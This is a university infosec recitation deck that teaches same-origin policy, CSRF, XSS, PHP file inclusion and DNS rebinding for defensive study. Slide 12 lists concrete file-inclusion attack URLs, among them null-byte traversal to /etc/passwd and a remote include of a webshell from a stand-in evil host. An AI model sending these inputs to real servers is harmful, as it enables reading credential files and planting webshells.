Introduction to InfoSec – Recitation 9

1. Introduction to InfoSec – Recitation 9 Nir Krakowski (nirkrako at post.tau.ac.il) ItamarGilad (itamargi at post.tau.ac.il)

2. Today • SOP - Same origin policy • CSRF – Cross site request Forgery • XSS – Cross Site Scripting • PHP file inclusion vulnerabilities • DNS rebinding (if we have time)

3. Same Origin Policy • Modern sites use elements from many different sources (e.g.: main content, embedded ads, embedded google maps controls, embedded twitter feed, etc.) • Without the SOP – we’d have to trust ALL that code • With the SOP – interactions are limited by ‘origin’ • An origin is the combination of domain name and protocol type

4. SOP examples

5. Cross Site Request Forgery • User goes to malicious site • Site initiates a request to a different site (e.g.: Gmail) • Request is sent using user’s credentials • Site accepts request, but due to SOP – the attacker cannot read contents or state (‘blind’ attack) • … • Profit!

6. CSRF - Limitations • Cannot spoof referrer header (but few sites check it) • Depends on a ‘GET’ request to cause side-effects • Blind attack – if the attack depends on any prior info, attacker has to guess • Attack must take place while the user is logged in to the target site

7. XSS – Cross site scripting • Today, many sites just aggragate user-generated content • Forums • Facebook / Twitter / Reddit • Web mail • Ynet / nrg – ‘talkbacks’ • That’s great, but what happens if we trust user submitted content? • A user can submit HTML code • Which can be malicious

8. How malicious are they? • Once the malicious code runs in the context of the target site, it can do whatever the original site can • Steal javascript-accessible cookies • Use any aspect of the site’s API • Write posts • Add friends • Delete all user content • Send out mass-email • E.g.: Sammy is my hero

9. Non persistent XSS • User clicks a link with extra parameters, the server reflects it back, without proper sanitation

10. Persistent XSS • Malicious user submits content to the target site via • Forum post / ‘talkback’ / FB post, twitter post • E-mail • Etc. • Content is not sanitized, and therefore – displayed to the user • The user’s browser treats it as code from the target site, thereby bypassing the SOP • … • Profit!

11. PHP File Inclusion Source: Wikipedia

12. PHP File Inclusion cont. • /vulnerable.php?COLOR=C:\\ftp\\upload\\exploit - Executes code from an already uploaded file called exploit.php (local file inclusion vulnerability) • /vulnerable.php?COLOR=C:\\notes.txt%00 - example using NULLs to remove the .phpsuffix, allowing access to files other than .php • /vulnerable.php?COLOR=/etc/passwd%00 - allows an attacker to read the contents of the passwd file on a UNIX system directory traversal • /vulnerable.php?COLOR=http://evil.example.com/webshell.txt?- injects a remotely hosted file containing a malicious code

13. Questions?

14. DNS Rebinding CSRF • We’ll discuss a very specific example • Client has a home router, which we want to access • We can get the client to browse to attacker.com • But thanks for the SOP – JS code from attacker.com cannot access the router other than blindly (CSRF)

15. Enter DNS Rebinding • The DNS for attacker.com returns two records: • Our web server public address • The requesting client’s address • By default, a browser will use the first address, and download our malicious JavaScript • That Javascript will make another request to attacker.com • But this time – the server will refuse the connection • The browser will happily try the next entry

16. DNS Rebinding cont. • But that’s the client’s home router public address… • Which should be protected via a FW from access… • But since most routers are configured with interface-based rules, and have internal webservers that listen on 0.0.0.0:80 – it won’t matter – they will answer our client • So now our JS code can connect to attacker.com and access the home router! • And it can still connect back outside

17. DNS Rebinding doesn’t work anymore • Most routers will use HTTP-authentication • You used to be able to browse to: http://user:password@192.168.1.1/ • But it has been disabled. All HTTP auth now requires a user dialog • Which makes the attack non-feasible • Also, there are some browser and network mitigations one can do (DNS pinning, DNS filtering, NoScript, etc.)

18. Questions?